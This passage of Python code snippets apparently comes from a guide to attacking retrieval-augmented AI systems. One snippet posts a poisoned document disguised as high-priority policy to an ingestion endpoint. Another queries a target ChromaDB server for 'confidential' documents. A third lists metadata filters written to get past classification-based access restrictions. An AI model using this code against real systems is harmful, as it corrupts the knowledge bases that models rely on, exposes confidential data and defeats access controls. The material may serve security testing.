    "metadata": {"source": "policy", "priority": "high"},
}
requests.post(ingest_url, json=poison_doc, headers=headers)

sources = resp.json().get("sources", [])
```

```python
import chromadb

client = chromadb.HttpClient(host="target", port=8000)
collection = client.get_collection("documents")
results = collection.query(query_texts=["confidential"], n_results=10)
```

```python
bypass_filters = [
    {"classification": {"$ne": "secret"}},
    {"classification": {"$exists": False}},
    {},
